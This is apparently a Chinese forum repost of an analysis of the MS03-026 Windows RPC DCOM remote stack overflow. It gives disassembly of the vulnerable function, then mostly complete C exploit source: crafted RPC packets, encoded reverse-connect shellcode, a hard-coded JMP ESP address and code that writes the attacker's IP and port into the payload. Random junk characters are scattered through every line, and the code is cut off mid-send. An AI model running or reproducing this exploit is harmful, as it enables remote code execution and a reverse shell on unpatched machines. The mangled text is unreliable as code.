TA的每日心情 | 无聊 2015-1-16 14:36 |
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签到天数: 3 天 [LV.2]偶尔看看I
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作者:FLASHSKY0 }, \. X4 q" \5 J: X9 R, D
作者单位:启明星辰积极防御实验室
1 v) L, H9 b! c$ C( F. xWWW SITE:WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET,WWW.SHOPSKY.COM
: V ]+ i/ ~2 i9 v. f邮件:flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com6 B- |8 n9 |3 j& z) \% i) ]% \; q
感谢BENJURRY做测试,翻译和代码的通用化处理。
" t7 y$ P; H: x, u邮件:benjurry@xfocus.org
6 L4 `& e8 b: \4 O7 z- Y, ~# Q4 ^6 t; G* s' ?& v5 D- F
LSD 的RPC溢出漏洞(MS03-26)其实包含了2个溢出漏洞,一个是本地的,一个是远程的。他们都是由一个通用接口导致的。* C" Y( L: a& P$ |$ f7 Q
导致问题的调用如下:
& E" l2 P! v6 N) {# @" ohr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi);
- m6 f* C- F. o5 R这个调用的文件名参数(第5个参数,会引起溢出),当这个文件名超长的时候,会导致客户端的本地溢出(在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间,但是是用lstrcpyw进行拷贝的),这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在,在进行处理,因此由于建不了长文件,所以要利用这个溢出不能直接调用这个API,而是构造好包信息以后直接调用LPC的函数,有兴趣的可以自己去试。),我们来讲解一下远程的溢出。. I: @# N5 S' }9 M
在客户端给服务器传递这个参数的时候,会自动转化成如下格式:L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器,于是在远程服务器的处理中会先取出servername名,但是这里没做检查,给定了0X20(默认NETBIOS名)大小的空间,于是堆栈溢出产生了:( y. K% \( ?- B. `3 B; Z
问题代码如下:4 I- O& U3 @9 D" Z. U' a U
GetPathForServer:
/ k4 J" ~# p) h4 p.text:761543DA push ebp5 F( Y$ j7 i. i$ ` e
.text:761543DB mov ebp, esp
& S5 }0 G0 l4 X8 _0 e* ~.text:761543DD sub esp, 20h <-----0x20空间
$ k/ b* ~7 F' p! O! c.text:761543E0 mov eax, [ebp+arg_4]
* a" b) R7 T% ]) D% X" S& ^" Q.text:761543E3 push ebx
) X& k' }4 p9 d) ~# O2 U.text:761543E4 push esi" S3 j. |2 W6 h: K
.text:761543E5 mov esi, [ebp+hMem]
; E, |+ g4 Y i# T5 P/ D.text:761543E8 push edi
' B( K4 s& D4 K! C$ m8 a! g3 |.text:761543E9 push 5Ch: g Z) [2 U( o* L, a
.text:761543EB pop ebx+ u& S: d2 H4 o5 P: U8 T/ e" e
.text:761543EC mov [eax], esi$ @/ @8 K3 } H9 M
.text:761543EE cmp [esi], bx
9 a: E: @% ?( g.text:761543F1 mov edi, esi6 n, ~: v! J& |$ }0 s; @, ^3 {
.text:761543F3 jnz loc_761544BF
2 X2 h: i l: L.text:761543F9 cmp [esi+2], bx
/ T% q# I4 v" x.text:761543FD jnz loc_761544BF
0 g( O; E4 S% C' p.text:76154403 lea eax, [ebp+String1]《-----------写入的地址,只有0X203 f9 W, U% H, X6 k* @8 J5 Q
.text:76154406 push 0
) Z2 T# m- s5 v+ U6 M/ U.text:76154408 push eax
$ x/ X/ U: ~! S# f8 r9 q- D.text:76154409 push esi 〈----------------------我们传入的文件名参数" o/ B" L( F" o. e P
.text:7615440A call GetMachineName$ O% R4 d# n. m
。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候,溢出点生效, Y \& K4 x$ r1 M" S
6 k- v3 y0 Q/ a) w- ZGetMachineName:1 F0 ?8 ~' u. E/ q
.text:7614DB6F mov eax, [ebp+arg_0]
, x0 D- I& \7 @9 `* U! t* ?: a.text:7614DB72 mov ecx, [ebp+arg_4]
/ ?: B& b0 _8 {/ B( z.text:7614DB75 lea edx, [eax+4]& b$ i: x0 Z3 r3 L8 @: z
.text:7614DB78 mov ax, [eax+4]$ ]2 U5 p1 x m2 M
.text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C- d9 \ s# {: g
.text:7614DB80 jz short loc_7614DB93
3 C- Q5 B% e4 V' g0 N, R% ].text:7614DB82 sub edx, ecx' P* p+ Q* D# h' s
.text:7614DB84; t+ K: j* w( e+ w) o0 Z
.text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j
U% P7 r+ U4 U' H.text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间,超过就溢出& Z/ a* K' v$ ]* G% Q3 ~
.text:7614DB87 inc ecx9 R) Y+ w8 z; N3 I" W5 C
.text:7614DB88 inc ecx
) ~& U t S8 a0 r1 R.text:7614DB89 mov ax, [ecx+edx]% r3 P1 ?6 f' q4 b
.text:7614DB8D cmp ax, 5Ch2 |9 [# v- W) G$ g9 f8 f
.text:7614DB91 jnz short loc_7614DB84/ y: f, U3 }4 M7 \" Y
.text:7614DB93
; R. Q$ {8 H- E1 R6 ~) n% T& R. E8 K5 q3 r; R+ q& K
OK,我们现在就需要想法来利用这个漏洞,由于\\SERVERNAME是由系统自动生成的,我们只能利用手工直接生成RPC的包来实现,另外SHELLCODE中不能包含0X5C,因为这样判断就是\\SERVERNAME结束了。: Y. e' J9 n2 J
下面就给出一个实现的代码,注意点如下:
' `, d% }0 q" z2 ?: w+ ^1.由于RPCRT4,RPCSS中没有JMP ESP的代码,这里使用了OLE32.DLL中的,但是这可能是会重定位的,大家测试的时候
8 C* m, j; x) f* a$ Y7 ~" {需要再确定或自己找一个存在的JMP ESP的代脉,我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。* a9 R2 f5 c1 P
2。这里使用了反向连接的SHELLCODE,需要先运行NC8 I; u1 O6 N/ y. L5 C/ a
3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系,因为不是整数的话,整个包的长度会有一些填充,那么* W8 Z$ E0 x' A5 I8 j
计算就不满足我这里给出的一个简单关系了,会导致RPC包的解析无效果。7 A4 R, Z1 @9 N; m7 W7 D# K
4。在溢出返回前,返回地址后面的2个参数还会使用,所以需要保证是个内存可写空间地址。
& z* n S: h: b2 D$ J; P& q" V% ^5,这里是直接使用堆栈溢出返回的,其实大家也可以尝试一下覆盖SEH,这里就不再多讲了。
% ?- y; u0 d6 z2 v2 q8 f H
$ g3 L) h5 ^4 f8 j N! X' Z#include
% Z! m, C# B- U. }: F" [#include
: l; k3 B' I, c: c$ c#include
5 k( l0 A7 O+ e3 s" f# g6 M3 r#include " L9 t$ \4 i/ A! s
#include
2 \$ \, C3 L' u7 p! i9 A) w+ R/ X#include
0 n- @5 n8 x" o3 ?$ K
1 {* S6 w+ q( k8 A' g iunsigned char bindstr[]={, U: e4 D3 g' _) c2 T, g+ F- y4 g
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,' C, s$ S- t3 @! d9 v1 K
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,* ]% u; D- L" w7 m. a* f7 ?# _
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, ]+ |1 I9 J4 S7 N2 V
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,5 k8 }+ I9 p7 O$ S2 e, Y0 K
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
# E8 f# K+ [ V1 ?6 b' U8 C. P- L/ L) ^/ o2 a6 B! C; C! k+ I0 }
unsigned char request1[]={1 \; S+ X3 a M- `
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03# Q- M; R3 s p, X
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
5 h3 K1 ?, s( f1 r: @8 S7 V,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45& }8 j6 L' f: a
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
7 x; B: g) Z; i* P,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E" g7 n1 B/ p1 |/ q
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
' T- l1 Y8 l, e$ p* B. R+ X,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
, p1 H2 Q6 u9 Q9 e,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00/ l- o' n9 Z8 e/ L
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45" F1 z( F7 m: b8 s
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
. x$ F. C N! a& Y* X,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
1 ~4 p1 C' b- F,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03/ e7 x3 G4 y' J8 \$ g5 \2 n2 ]. u
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
/ ]/ m8 z6 t( ?( x6 K% z5 u( x,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
% }. c3 m9 j5 d7 A3 o" U) B% L5 f,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
4 e' W$ c9 p) D,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
! ?- q! s( r5 m) O# a2 o,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00' ^ x. u1 b, [: `# o' `' A
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x009 u6 v# D% `; Y/ K/ }$ F2 W
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00& ]8 r) J( J4 a' M! I' i2 f
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
: I9 G* }( e1 d$ D. `, O,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
9 a- M% U+ p; K7 X, B,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
b! j0 ]. \, z,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x004 G% n' a' K1 ^4 [0 M8 I
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
0 V$ F$ f; `/ g8 s/ {& W5 I$ C,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
# c, x& d2 ~/ N+ w, E" K1 h6 U,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
; ?0 c1 g5 j# d8 p0 B7 H,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
; ^0 ] k ?( \8 ]- `9 m. S) t,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
5 H( u" S' B' b" e: O X! D,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
6 D, J+ ^) g! Y* M1 p! F9 b( o,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00! h7 v! s# O6 `; S& L. u1 q7 S$ m
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
. V1 }' N* E: g) q6 l,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x108 |/ v1 U5 F; ?) Q4 f+ F
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x095 n* Z6 Z; [, |3 W) c1 s4 J7 k: j* a
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
2 `( P3 [$ z/ i* v* G,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x006 R$ ^2 z1 P5 v. z
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00/ j. V/ r7 [. B0 Q: |; c7 P
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00) [9 W9 u0 n0 N G5 @
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
2 N7 R/ f8 D6 R% F' y,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
, Z0 u8 c' c8 u1 p" G,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00" B- O5 \& B" o, A3 y
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
7 ]; K8 ?" G+ o" T,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03, _+ _7 [' _5 l
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00. M U6 H* }* O K/ k- J
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E3 X! I: A5 [% p4 [/ C/ d4 y' s
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00/ o) k& r. ]) t# [' F7 }
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
. L, Z! o* X) ]# P8 Z,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
6 u' ]" N! l% V5 W5 `,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00: m! f6 l# Z P
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 | ?; q& x4 }% h
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
8 R+ K. I" s' v6 s% v5 l,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00+ A1 c4 S: j: u6 C" M
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
9 T$ L/ x$ X! Q& E4 }9 f) H$ ^9 |9 H,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x002 Q3 K, K7 O P; y0 }7 r) Z6 u
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00, h4 _. z+ S [$ T! k1 d
,0x00,0x00,0x00,0x00,0x00,0x00};
* Z6 a+ C6 x: R% v: h* h7 _1 Z& b4 a4 E$ v
unsigned char request2[]={ L, ]7 S' o' b/ K) w
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
0 l6 l& o0 V0 P,0x00,0x00,0x5C,0x00,0x5C,0x00};
0 C6 @$ P( [( j$ o: I3 e
! G, N! Q9 A8 [# D9 `unsigned char request3[]={
/ _, X+ u' M+ k8 {* v! i0x5C,0x00
- v9 ?9 Y$ }9 A9 E# t,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00# J2 r) L( b, P x! H. j
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00' i/ \$ u$ P) q: W* \9 D
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x003 E2 \5 ^& @! t2 Z( d2 v, e2 s
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};) N6 `+ T# U$ Z- E
; L( T/ y) d' x
unsigned char sc[]=4 p- j0 ]+ o5 G2 Q$ ~0 w* f1 K
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
! s" G. O( \3 }, c( I4 f"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
8 V0 s% C, O' i' L, `"\x46\x00\x58\x00"# I, E: R+ |9 W* u6 p1 D0 t
"\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL,可能需要自己改动
* z9 C- j4 }* N. V4 B! Y"\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址
, S. X3 Z/ `0 N7 a( c//下面是SHELLCODE,可以放自己的SHELLCODE,但必须保证sc的整体长度/16=12,不满足自己填充一些0X90吧
' e. e S. m( w//SHELLCODE不存在0X00,0X00与0X5C
& F. X3 n; S$ T- G) e"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"6 v! G' ?/ d1 M6 {1 F1 t
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
) l9 d( ]7 B: e, C- U"\x93\x40\xe2\xfa"/ R1 P) K" C- t
// code4 a) g- Y! u5 \1 W' \1 N0 G
"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"9 j+ n8 S. D1 R3 X8 S" c
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"
0 C; _' ]2 B9 X"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"9 b: j$ y; ]6 r, Z: ?: i
"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"0 v! y* D# l+ d/ R) M* S/ h: v0 Z
"\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"/ s; G' T8 d# P5 Z6 k5 g" d4 P8 Y' O
"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"; t" u( B% g4 ~7 U! B
"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"
6 `( Q6 L; _# |1 i( e2 P3 d"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"
: U! x- w/ U% }, U3 v" q0 b"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"3 F, x: l- C4 w4 S* R
"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"5 a8 P! o% v: ?9 n& Z
"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"
& @6 j) ~% ^* K! o1 ~, }( a/ }"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
( i2 Y0 O! B" r- O: M5 B4 G"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
; }3 r# Z4 _1 B g2 O5 F- a$ p1 S( G"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22", }' a2 o! c! V( w
"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"; t+ J1 Z* F0 F/ u( \# N7 w. Q
"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"; B( O8 j2 V0 X
"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"4 V; K/ W* Y& S
"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"
% S2 d! R1 ?( u"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"3 I7 v7 ]. I! m( \! y
"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
O- n' { W: f5 Y! s" f"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
2 B8 D# \" r& u8 o"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"( q; X5 Y- b4 h4 ~; O8 \
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
7 M0 K0 r, K1 k% _2 D"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4", M0 P/ U$ A( |7 u. B7 ?, q0 m) `* @
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"/ T3 X# A. P# d/ t
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90"
& C4 v& \& O) {$ d3 k- i$ u2 g"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
8 P. v9 h1 f+ \9 K2 D. e
' I' Q# \* M5 N9 m: }1 c) {unsigned char request4[]={) _ x4 N' s: `1 n3 F
0x01,0x10- y) ?: h( t3 y4 f
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00! s4 w1 K% }8 g+ k$ c
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C9 r) C9 z ]. G" X) j
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00. e: O$ |& f' V' R o/ M
};6 A2 {, S1 f" [; l: O$ Y) l
/ `+ A1 J; N4 R* J
void main(int argc,char ** argv)3 K$ A$ r2 a9 u' S( o. E: M; y. O
{
& _, z- p. G, v0 i$ U. h- @) uWSADATA WSAData;' x( m2 d/ L3 p: x' r! _# g
SOCKET sock;: w- T6 [5 r @+ Z
int len,len1;
, O! n0 n0 o' @6 I. w1 C- I. G+ u8 s9 `SOCKADDR_IN addr_in;. _, d8 O3 |: c0 ?: a
short port=135;
# B2 L6 q& B. E1 ?+ _unsigned char buf1[0x1000];3 s& g, J& h# e0 _* r
unsigned char buf2[0x1000];
5 P, [3 V9 l; C( F# P6 G+ runsigned short port1;
7 r+ p% h+ \: v* q3 F; hDWORD cb;' C# G$ T. u. A. ^- D, A6 _5 z
/ d" f' {) V2 Z/ ~$ U- @- V
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
+ h" q2 B' h. B3 T' o3 @5 q9 U: u{
6 I, X$ P& g6 r, B% @& Pprintf("WSAStartup error.Error:%d\n",WSAGetLastError());
* Z* d& r5 R1 [ P; F" greturn;2 U Q; e* b, \8 Y5 V( F
}
6 i/ w. m; O1 W% M4 j5 i
2 `* q) Z' ~/ Q& ^% R' ^addr_in.sin_family=AF_INET;
+ z9 c2 {- H! t' }2 Haddr_in.sin_port=htons(port);; g5 v C' j$ j5 W* Q
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);+ c t. {6 K( x4 E/ [
! g; s* w/ `; w& @# ^/ M- kif ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)7 } B* f- L$ u
{
5 S( |# j0 H. j% bprintf("Socket failed.Error:%d\n",WSAGetLastError());
# Q; i8 H& L3 s3 c; M+ K) Greturn;
4 j( J& I5 z p0 G" e' l}, t, N/ o1 g2 a' c+ [1 I
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR). q0 h+ q' `1 r" Z' g* {9 u
{5 T* @; ~: j% g' M, t; U
printf("Connect failed.Error:%d",WSAGetLastError());
6 e A; v$ {, I7 Creturn; G; H# L$ I' _# A1 y
}
% i! K$ j8 \; I( L- @port1 = htons (2300); //反向连接的端口3 A. U+ m! c. ^' S4 I8 A
port1 ^= 0x9393;
% c0 P$ j0 I# c# U! y& z# rcb=0XD20AA8C0; //反向连接的IP地址,这里是192。168。10。210,
& w7 T) {4 H- y x9 c7 X9 [% Scb ^= 0x93939393;
( r3 b! }: ^& [4 f+ k, ~*(unsigned short *)&sc[330+0x30] = port1;
1 Z; X8 `# ~( @8 B% e$ z*(unsigned int *)&sc[335+0x30] = cb;
2 Y- C1 @( R$ p% mlen=sizeof(sc);$ n y+ L( l$ l3 a* W* d+ p
memcpy(buf2,request1,sizeof(request1));
; N: W* R: O2 p! k; h0 Flen1=sizeof(request1);
" L6 c; }% U2 I8 F*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度
7 h Y8 v( n0 H% y*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度& G/ V9 g, K$ Q
memcpy(buf2+len1,request2,sizeof(request2));. j+ o; m6 R! e4 m
len1=len1+sizeof(request2);
& y. _1 g5 d6 C; Jmemcpy(buf2+len1,sc,sizeof(sc));' M1 l" v/ {, B' a- O9 K8 |9 j- J) g! K
len1=len1+sizeof(sc);% Z! r, b9 G! S/ w7 ?9 k: i6 I, c
memcpy(buf2+len1,request3,sizeof(request3));
9 i7 r, N/ w) d0 m9 }) a/ S/ Rlen1=len1+sizeof(request3);
" i! M6 F6 |- O! n, mmemcpy(buf2+len1,request4,sizeof(request4));; U; e* h2 \6 Y! V! d& a1 x) `
len1=len1+sizeof(request4);
- k/ C. ]3 M$ H2 \7 J*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
$ h2 L; o1 k" B- n//计算各种结构的长度/ L O8 l0 D/ Y6 ?( {# K
*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
9 p& h+ P9 D1 |+ g* p% u*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;0 V/ l! J. Q4 Y; j
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;2 z6 [8 U( K+ Z% f& Z" k3 A
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;9 [$ u% F+ B4 u& @$ ?
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; }* b4 `3 z, {
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;8 u/ ~( v; p/ J9 r: v0 S: e( d
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
3 ~$ S, D v% R( x! ?1 Wif (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)/ u2 A9 y) \4 ?. }9 D# j
